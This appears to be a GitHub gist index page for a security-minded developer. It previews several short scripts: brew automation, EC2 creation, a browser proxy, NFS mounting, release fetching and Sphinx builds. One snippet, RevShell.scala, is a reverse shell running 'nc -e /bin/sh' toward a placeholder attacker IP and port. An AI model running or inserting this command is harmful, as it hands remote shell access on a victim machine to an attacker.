Skip to content

Instantly share code, notes, and snippets.

@l50
l50 / brew.sh
Last active Mar 21, 2021
Automate Brew Updates with launchd for a particular user
View brew.sh
#!/usr/bin/env bash
# -----------------------------------------------------------------------------
# brew.sh
#
# Script to automate brew updates
#
# Usage: bash brew.sh
#
# Author: Jayson Grace, https://techvomit.net
# ----------------------------------------------------------------------------
@l50
l50 / createInstance.go
Last active Oct 3, 2020
Ec2 Creation with Lambda via Golang
View createInstance.go
package main
import (
"github.com/aws/aws-sdk-go/aws"
"github.com/aws/aws-sdk-go/aws/session"
"github.com/aws/aws-sdk-go/service/ec2"
"github.com/aws/aws-lambda-go/lambda"
"fmt"
"os"
@l50
l50 / bm_chromium.py
Last active May 27, 2020
Selenium+Chrome+BrowserMob-Proxy
View bm_chromium.py
from browsermobproxy import Server
from selenium import webdriver
import time
import pprint
class ProxyManager:
# You may need to change this, depending on which version of browsermob-proxy you have and where it is located
__BMP = "./assets/browsermob-proxy-2.1.4/bin/browsermob-proxy"
@l50
l50 / login.html
Last active Aug 28, 2018
Reflected XSS POC in flask
View login.html
{% block body %}
{% if session['logged_in'] %}
<p>You're logged in already!</p>
{% else %}
<form action="/login" method="POST">
<input type="username" name="username" placeholder="Username">
<input type="password" name="password" placeholder="Password">
<input type="submit" value="Log in">
</form>
{% endif %}
@l50
l50 / mount_share.sh
Last active Aug 21, 2018
Toolkit for evaluating potential vulnerabilities in open NFS mounts
View mount_share.sh
# Usage: bash mount.sh system.target /mount/on/system.target
mkdir $1 │ NORMAL mounts.txt 12% 60:1
mount -t nfs $1:$2 $1
View get_latest_release.py
import argparse
import requests
def parse_arg():
parser = argparse.ArgumentParser(description='Get latest release of a project from a specified repository.')
parser.add_argument('-r', '--repo', required=True, help='repository with release - i.e. python3 get_latest_release.py -r \'docker/compose\'')
return parser.parse_args().repo
def get_latest_release(repo):
req = requests.get("https://api.github.com/repos/%s/releases/latest" % repo)
@l50
l50 / RevShell.scala
Created Feb 2, 2018
Scala_Reverse_Shell
View RevShell.scala
import sys.process._
"nc -e /bin/sh <attacker ip> <attacker port>" !!;
// Once you have the shell, run the following command for a full fledged shell:
// python -c 'import pty;pty.spawn("/bin/bash")'
@l50
l50 / build_sphinx_docs.sh
Created Aug 24, 2017 — forked from binaryaaron/build_sphinx_docs.sh
github pages sphinx building script
View build_sphinx_docs.sh
#!/bin/bash
if [ $# -ne 2 ]; then
echo "Error: Please provide a branch name and repo name from which documentation will be built";
exit 1
fi
BRANCH_NAME=$1
REPO_NAME=$2